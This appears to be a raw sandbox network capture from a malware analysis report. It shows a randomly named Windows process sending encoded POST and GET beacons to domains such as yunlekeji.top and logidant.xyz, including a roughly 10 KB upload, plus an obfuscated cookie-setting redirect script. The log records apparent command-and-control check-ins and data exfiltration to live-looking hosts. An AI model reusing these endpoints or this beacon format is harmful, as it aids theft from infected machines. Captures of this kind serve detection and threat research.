                                                            Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 61 65 73 2e 6a 73 22 20 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 74 6f 4e 75 6d 62 65 72 73 28 64 29 7b 76 61 72 20 65 3d 5b 5d 3b 64 2e 72 65 70 6c 61 63 65 28 2f 28 2e 2e 29 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 64 29 7b 65 2e 70 75 73 68 28 70 61 72 73 65 49 6e 74 28 64 2c 31 36 29 29 7d 29 3b 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 74 6f 48 65 78 28 29 7b 66 6f 72 28 76 61 72 20 64 3d 5b 5d 2c 64 3d 31 3d 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 61 72 67 75 6d 65 6e 74 73 5b 30 5d 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 41 72 72 61 79 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 61 72 67 75 6d 65 6e 74 73 2c 65 3d 22 22 2c 66 3d 30 3b 66 3c 64 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 65 2b 3d 28 31 36 3e 64 5b 66 5d 3f 22 30 22 3a 22 22 29 2b 64 5b 66 5d 2e 74 6f 53 74 72 69 6e 67 28 31 36 [TRUNCATED]
                                                            Data Ascii: <html><body><script type="text/javascript" src="/aes.js" ></script><script>function toNumbers(d){var e=[];d.replace(/(..)/g,function(d){e.push(parseInt(d,16))});return e}function toHex(){for(var d=[],d=1==arguments.length&&arguments[0].constructor==Array?arguments[0]:arguments,e="",f=0;f<d.length;f++)e+=(16>d[f]?"0":"")+d[f].toString(16);return e.toLowerCase()}var a=toNumbers("f655ba9d09a112d4968c63579db590b4"),b=toNumbers("98344c2eee86c3994890592585b49f80"),c=toNumbers("369c462036f216e4899a89971f3b2b61");document.cookie="__test="+toHex(slowAES.decrypt(c,2,a,b))+"; expires=Thu, 31-Dec-37 23:55:55 GMT; path=/"; location.href="http://www.canadavinreport.site/g3h7/?XHa8pH8=dyqW+SkpLS8uL5dSny8q8PjeDBZe49z1zEHoC4ozp/UuBc9Lrzv6UHKMHP5rOiU//FkNbu8cLS6TGHyjoU1BRpkPLcScFLLxAHuiMJY3F0pG7ioCFxuNP/M=&cBL4=dBU4KtqPg&i=1";</script><noscript>This site requires Javascript to work, please enable Javascript in your browser or use a browser with Javascript support</noscript></body></html>


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            13192.168.2.449851106.15.109.33801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:12:57.426103115 CET632OUTPOST /t322/ HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 204
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Cache-Control: max-age=0
                                                            Host: www.yunlekeji.top
                                                            Origin: http://www.yunlekeji.top
                                                            Referer: http://www.yunlekeji.top/t322/
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Data Raw: 58 48 61 38 70 48 38 3d 49 41 33 33 42 74 4d 4d 54 74 55 50 65 48 2f 6d 2b 57 65 79 50 64 6f 37 58 5a 6f 50 43 7a 71 43 6d 78 53 30 5a 79 76 6d 67 45 70 33 46 4b 77 6b 6a 53 4b 6e 6d 74 43 34 4f 56 2b 6c 42 79 49 35 51 53 48 31 6f 7a 49 58 2b 2f 32 61 35 6b 58 61 64 54 58 36 57 66 46 67 76 50 33 78 62 76 62 72 6c 2f 4b 65 46 34 57 6d 45 78 67 2b 43 56 43 44 48 6a 61 6e 49 59 4c 46 38 61 33 31 78 75 6c 62 52 5a 71 53 70 45 45 49 2f 6d 66 43 2f 4d 75 67 55 72 57 55 66 37 49 53 52 36 74 4d 63 36 56 62 37 58 30 38 63 74 6a 64 58 61 56 42 58 37 65 31 4b 33 54 33 52 32 4e 48 6c 42 49 6d 6c 52 69 7a 32 67 3d 3d
                                                            Data Ascii: XHa8pH8=IA33BtMMTtUPeH/m+WeyPdo7XZoPCzqCmxS0ZyvmgEp3FKwkjSKnmtC4OV+lByI5QSH1ozIX+/2a5kXadTX6WfFgvP3xbvbrl/KeF4WmExg+CVCDHjanIYLF8a31xulbRZqSpEEI/mfC/MugUrWUf7ISR6tMc6Vb7X08ctjdXaVBX7e1K3T3R2NHlBImlRiz2g==


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            14192.168.2.449857106.15.109.33801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:13:00.092225075 CET652OUTPOST /t322/ HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 224
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Cache-Control: max-age=0
                                                            Host: www.yunlekeji.top
                                                            Origin: http://www.yunlekeji.top
                                                            Referer: http://www.yunlekeji.top/t322/
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Data Raw: 58 48 61 38 70 48 38 3d 49 41 33 33 42 74 4d 4d 54 74 55 50 64 6e 50 6d 78 52 69 79 4b 39 6f 34 4a 4a 6f 50 49 54 71 47 6d 77 75 30 5a 7a 71 72 67 53 78 33 46 71 67 6b 69 54 4b 6e 68 74 43 34 64 56 2f 76 50 53 49 75 51 53 44 58 6f 32 49 58 2b 2b 57 61 35 6c 48 61 64 67 50 35 58 50 46 69 6e 76 33 33 56 50 62 72 6c 2f 4b 65 46 34 71 63 45 78 6f 2b 43 67 53 44 48 47 6d 67 4a 59 4c 45 37 61 33 31 37 4f 6b 53 52 5a 71 73 70 42 63 75 2f 6c 6e 43 2f 50 36 67 56 2b 69 58 55 37 4a 62 4a 61 73 6a 4e 37 34 2f 37 47 64 33 42 50 76 74 51 35 31 37 66 64 54 76 62 47 79 67 44 32 70 30 34 47 42 53 6f 53 66 36 74 71 30 69 66 50 4b 4f 68 37 31 42 56 74 72 65 51 53 69 76 76 49 63 3d
                                                            Data Ascii: XHa8pH8=IA33BtMMTtUPdnPmxRiyK9o4JJoPITqGmwu0ZzqrgSx3FqgkiTKnhtC4dV/vPSIuQSDXo2IX++Wa5lHadgP5XPFinv33VPbrl/KeF4qcExo+CgSDHGmgJYLE7a317OkSRZqspBcu/lnC/P6gV+iXU7JbJasjN74/7Gd3BPvtQ517fdTvbGygD2p04GBSoSf6tq0ifPKOh71BVtreQSivvIc=


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            15192.168.2.449864106.15.109.33801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:13:02.762598038 CET10734OUTPOST /t322/ HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 10304
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Cache-Control: max-age=0
                                                            Host: www.yunlekeji.top
                                                            Origin: http://www.yunlekeji.top
                                                            Referer: http://www.yunlekeji.top/t322/
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Data Raw: 58 48 61 38 70 48 38 3d 49 41 33 33 42 74 4d 4d 54 74 55 50 64 6e 50 6d 78 52 69 79 4b 39 6f 34 4a 4a 6f 50 49 54 71 47 6d 77 75 30 5a 7a 71 72 67 53 35 33 46 5a 59 6b 6a 77 79 6e 67 74 43 34 47 31 2f 73 50 53 49 76 51 55 72 54 6f 32 4d 74 2b 37 53 61 2f 31 62 61 62 52 50 35 65 50 46 69 34 66 33 79 62 76 61 2f 6c 37 75 61 46 2b 4b 63 45 78 6f 2b 43 6e 71 44 41 54 61 67 45 34 4c 46 38 61 33 70 78 75 6b 36 52 5a 69 38 70 42 70 54 2f 56 48 43 2b 76 71 67 58 49 2b 58 57 62 4a 5a 63 61 73 37 4e 37 30 67 37 47 42 64 42 4f 62 55 51 2b 46 37 61 6f 36 75 42 48 79 67 51 47 5a 4b 73 55 46 76 70 53 57 35 6a 64 34 4a 57 4e 69 74 30 50 46 55 4e 36 4b 52 4b 42 43 6c 31 66 7a 62 41 77 44 63 57 53 2b 6c 30 6e 55 50 45 34 73 72 52 49 4b 49 48 4b 35 56 66 52 30 63 57 4b 37 61 59 71 71 46 74 77 7a 43 49 6e 59 31 6a 36 4c 4b 75 32 6c 64 4b 50 66 51 57 68 6b 6d 36 6d 33 79 42 4f 31 6f 38 55 53 39 6f 79 54 37 35 31 38 32 7a 70 53 38 46 30 59 31 70 34 68 46 5a 6c 2b 79 6f 55 4e 6f 70 33 35 7a 58 4a 69 4d 46 7a 34 45 70 7a [TRUNCATED]
                                                            Data Ascii: XHa8pH8=IA33BtMMTtUPdnPmxRiyK9o4JJoPITqGmwu0ZzqrgS53FZYkjwyngtC4G1/sPSIvQUrTo2Mt+7Sa/1babRP5ePFi4f3ybva/l7uaF+KcExo+CnqDATagE4LF8a3pxuk6RZi8pBpT/VHC+vqgXI+XWbJZcas7N70g7GBdBObUQ+F7ao6uBHygQGZKsUFvpSW5jd4JWNit0PFUN6KRKBCl1fzbAwDcWS+l0nUPE4srRIKIHK5VfR0cWK7aYqqFtwzCInY1j6LKu2ldKPfQWhkm6m3yBO1o8US9oyT75182zpS8F0Y1p4hFZl+yoUNop35zXJiMFz4EpzPZKzWIggKW7fbIG2NeHRd7jOGyqOGKuevYqlaB24KC4lHCiYsyUMd8nTe/woRxg0e+N6lTDWSprof5a3NdB+CZVGZbmofUC1ZxOWGuXXwc4Qgbk7JxWSI67ZbykXbyIJpD37mu4yZD3sVVNBVJlHAs5SnNbbf+EjYN3JLkpcstspdeh1UcBtRf2Iq7/qg5yltJlc+2ryhRapkNWb3/3aT3pR6pRwyUesyoKC7Lpp8tk6HfScaAJOU8QzDtoIY0ANLW6i0V7yGtjlx2R7bQBC16eKrnrQj81WegcHX/+RiUmxWrZcuvVFMfN0Ncu68UVEN/ekcJc5ZjtSxoQnlpSw8hu+eHNR3sN26xYVvzE8L6/ZZSyfovBvGM1BrBl/5sc1diMmwFaY6jWekqjk1Tj7/yMPeFmzusLk0ubIdbrm4cDtmjhORSmnJthJUmf1/EcwOSAzQMNKGZyHVchJ7pkpAh3PxfuwvDKCQQ5YickqtIdCMzqTmDY+sNiNuNGFORh5+0yo2p0lgfdmnahnMpgBk4eMtSQHs6gV+oNrA6PztzdwjnIqn6EMKzFYUmuwvJ6WK1mFZ8AwnUPwaH7yjPPMmqnC/EBwXx3vRbHruaMP/D5e6JZO/F0UzPKNtKFOfp62eb0LG+3xx4ITznzG5XzfeylCwsFwuhxvYI [TRUNCATED]


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            16192.168.2.449870106.15.109.33801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:13:05.412821054 CET364OUTGET /t322/?cBL4=dBU4KtqPg&XHa8pH8=FCfXCbowRdQKA3bJwmXvc8lOOpkaFxffvgnpa1jm1l5RPo8GmzCZxrunal2GKioIIi33qnUs85PYplnvRA3XR69fnaXkcIGP7N+ZF5LcImJ8BAL5CR7GLvE= HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Connection: close
                                                            Host: www.yunlekeji.top
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Nov 29, 2024 15:13:10.203561068 CET1236INHTTP/1.1 404 Not Found
                                                            Server: nginx
                                                            Date: Fri, 29 Nov 2024 14:13:09 GMT
                                                            Content-Type: text/html; charset=utf-8
                                                            Transfer-Encoding: chunked
                                                            Connection: close
                                                            Vary: Accept-Encoding
                                                            Data Raw: 31 39 66 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e7 b3 bb e7 bb 9f e5 8f 91 e7 94 9f e9 94 99 e8 af af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2f 2a 20 42 61 73 65 20 2a 2f 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 3a 20 31 36 70 78 20 56 65 72 64 61 6e 61 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 68 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 27 4d 69 63 72 6f 73 6f 66 74 20 59 61 48 65 69 27 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d [TRUNCATED]
                                                            Data Ascii: 19f2<!DOCTYPE html><html><head> <meta charset="UTF-8"> <title></title> <meta name="robots" content="noindex,nofollow" /> <style> /* Base */ body { color: #333; font: 16px Verdana, "Helvetica Neue", helvetica, Arial, 'Microsoft YaHei', sans-serif; margin: 0; padding: 0 20px 20px; } h1{ margin: 10px 0 0; font-size: 28px; font-weight: 500; line-height: 32px; } h2{ color: #4288ce; font-weight: 400; padding: 6px 0; margin: 6px 0 0; font-size: 18px; border-bottom: 1px solid #eee; } h3{ margin: 12px; font-size: 16px; font-weight: bold; } abbr{ cursor: help; text-decoration: underline; text-decoration-style: dotted; } a{ color [TRUNCATED]
                                                            Nov 29, 2024 15:13:10.203612089 CET1236INData Raw: 65 72 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 61 3a 68 6f 76 65 72 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20
                                                            Data Ascii: er; } a:hover{ text-decoration: underline; } .line-error{ background: #f8cbcb; } .echo table { width: 100%; } .echo pre { padding
                                                            Nov 29, 2024 15:13:10.203679085 CET448INData Raw: 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 39 39 39 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 65 78 63 65
                                                            Data Ascii: border-radius: 4px; background: #999; } .exception .source-code{ padding: 6px; border: 1px solid #ddd; background: #f9f9f9; overflow-x: auto; }
                                                            Nov 29, 2024 15:13:10.203695059 CET1236INData Raw: 69 6e 2d 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 0a 20 20 20 20 20 20
                                                            Data Ascii: in-width: 100%; box-sizing: border-box; font-size:14px; font-family: "Century Gothic",Consolas,"Liberation Mono",Courier,Verdana; padding-left: 40px; } .exception .source-code pre li{
                                                            Nov 29, 2024 15:13:10.203809977 CET1236INData Raw: 76 61 72 20 74 61 62 6c 65 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 32 70 78 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 78 2d 73 69
                                                            Data Ascii: var table{ width: 100%; margin: 12px 0; box-sizing: border-box; table-layout:fixed; word-wrap:break-word; } .exception-var table caption{ text-
                                                            Nov 29, 2024 15:13:10.203824997 CET1236INData Raw: 6c 6f 77 20 61 72 65 20 61 64 64 65 64 20 62 79 20 70 72 65 74 74 79 70 72 69 6e 74 2e 20 2a 2f 0a 20 20 20 20 20 20 20 20 70 72 65 2e 70 72 65 74 74 79 70 72 69 6e 74 20 2e 70 6c 6e 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 20 7d 20 20 2f 2a 20
                                                            Data Ascii: low are added by prettyprint. */ pre.prettyprint .pln { color: #000 } /* plain text */ pre.prettyprint .str { color: #080 } /* string content */ pre.prettyprint .kwd { color: #008 } /* a keyword */ pre.pretty
                                                            Nov 29, 2024 15:13:10.203836918 CET215INData Raw: 74 69 74 6c 65 3d 22 e5 ae 98 e6 96 b9 e7 bd 91 e7 ab 99 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 74 68 69 6e 6b 70 68 70 2e 63 6e 22 3e 54 68 69 6e 6b 50 48 50 3c 2f 61 3e 20 0a 20 20 20 20 20 20 20 20 3c 73 70 61 6e 3e 56 35 2e
                                                            Data Ascii: title="" href="http://www.thinkphp.cn">ThinkPHP</a> <span>V5.1.39 LTS</span> <span>{ -API }</span> </div> </body></html>0


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            17192.168.2.44989345.141.156.114801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:13:15.977361917 CET629OUTPOST /iuvu/ HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 204
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Cache-Control: max-age=0
                                                            Host: www.logidant.xyz
                                                            Origin: http://www.logidant.xyz
                                                            Referer: http://www.logidant.xyz/iuvu/
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Data Raw: 58 48 61 38 70 48 38 3d 31 45 36 43 37 35 54 5a 70 4a 4e 45 53 37 79 78 4d 4b 56 72 49 48 54 44 44 32 46 41 51 57 75 57 47 2f 63 4c 7a 78 58 6d 50 68 74 56 46 6e 67 58 31 51 54 68 4e 35 45 49 53 63 66 75 4a 45 2b 30 52 67 66 74 61 6a 43 39 68 39 4a 75 30 74 6c 34 76 73 47 4a 52 56 62 39 2f 56 53 53 2b 34 48 41 6e 35 77 6a 62 36 74 76 42 4a 6a 59 2b 75 77 4d 54 77 68 58 73 77 35 34 47 2b 47 7a 37 45 79 7a 32 69 75 4a 62 31 6a 70 42 42 64 6c 57 50 4a 65 74 71 53 36 53 73 34 68 74 5a 55 6f 39 66 69 69 33 44 33 71 57 41 62 61 55 42 49 70 51 6b 63 59 34 6c 45 38 38 32 2f 44 2f 6d 6f 31 2b 6b 6e 39 6a 77 3d 3d
                                                            Data Ascii: XHa8pH8=1E6C75TZpJNES7yxMKVrIHTDD2FAQWuWG/cLzxXmPhtVFngX1QThN5EIScfuJE+0RgftajC9h9Ju0tl4vsGJRVb9/VSS+4HAn5wjb6tvBJjY+uwMTwhXsw54G+Gz7Eyz2iuJb1jpBBdlWPJetqS6Ss4htZUo9fii3D3qWAbaUBIpQkcY4lE882/D/mo1+kn9jw==
                                                            Nov 29, 2024 15:13:17.310034990 CET691INHTTP/1.1 404 Not Found
                                                            Server: nginx
                                                            Date: Fri, 29 Nov 2024 14:13:17 GMT
                                                            Content-Type: text/html
                                                            Content-Length: 548
                                                            Connection: close
                                                            Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                            Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            18192.168.2.44990045.141.156.114801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:13:18.652610064 CET649OUTPOST /iuvu/ HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 224
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Cache-Control: max-age=0
                                                            Host: www.logidant.xyz
                                                            Origin: http://www.logidant.xyz
                                                            Referer: http://www.logidant.xyz/iuvu/
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Data Raw: 58 48 61 38 70 48 38 3d 31 45 36 43 37 35 54 5a 70 4a 4e 45 53 62 43 78 4c 74 68 72 42 48 54 63 4e 57 46 41 65 32 76 66 47 2f 59 4c 7a 7a 36 37 4f 54 35 56 47 46 6f 58 30 53 72 68 41 5a 45 49 4b 4d 66 72 55 55 2b 39 52 67 54 66 61 6d 36 39 68 38 74 75 30 6f 68 34 76 62 79 4b 58 46 62 2f 33 31 53 55 77 59 48 41 6e 35 77 6a 62 36 34 41 42 4a 37 59 2b 2b 41 4d 53 54 35 59 6b 51 35 35 42 2b 47 7a 2f 45 79 33 32 69 75 52 62 33 62 54 42 48 5a 6c 57 4f 35 65 74 34 71 35 62 73 34 76 77 70 56 64 37 61 50 31 75 7a 2f 71 58 67 7a 75 63 43 63 4b 59 43 52 43 70 55 6c 72 75 32 62 77 69 68 68 42 7a 6e 61 30 34 35 61 2b 48 53 6b 77 48 73 5a 75 4b 74 2b 53 59 78 2b 50 6b 37 30 3d
                                                            Data Ascii: XHa8pH8=1E6C75TZpJNESbCxLthrBHTcNWFAe2vfG/YLzz67OT5VGFoX0SrhAZEIKMfrUU+9RgTfam69h8tu0oh4vbyKXFb/31SUwYHAn5wjb64ABJ7Y++AMST5YkQ55B+Gz/Ey32iuRb3bTBHZlWO5et4q5bs4vwpVd7aP1uz/qXgzucCcKYCRCpUlru2bwihhBzna045a+HSkwHsZuKt+SYx+Pk70=
                                                            Nov 29, 2024 15:13:19.994225979 CET691INHTTP/1.1 404 Not Found
                                                            Server: nginx
                                                            Date: Fri, 29 Nov 2024 14:13:19 GMT
                                                            Content-Type: text/html
                                                            Content-Length: 548
                                                            Connection: close
                                                            Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                            Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            19192.168.2.44990745.141.156.114801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:13:21.376003981 CET10731OUTPOST /iuvu/ HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 10304
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Cache-Control: max-age=0
                                                            Host: www.logidant.xyz
                                                            Origin: http://www.logidant.xyz
                                                            Referer: http://www.logidant.xyz/iuvu/
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
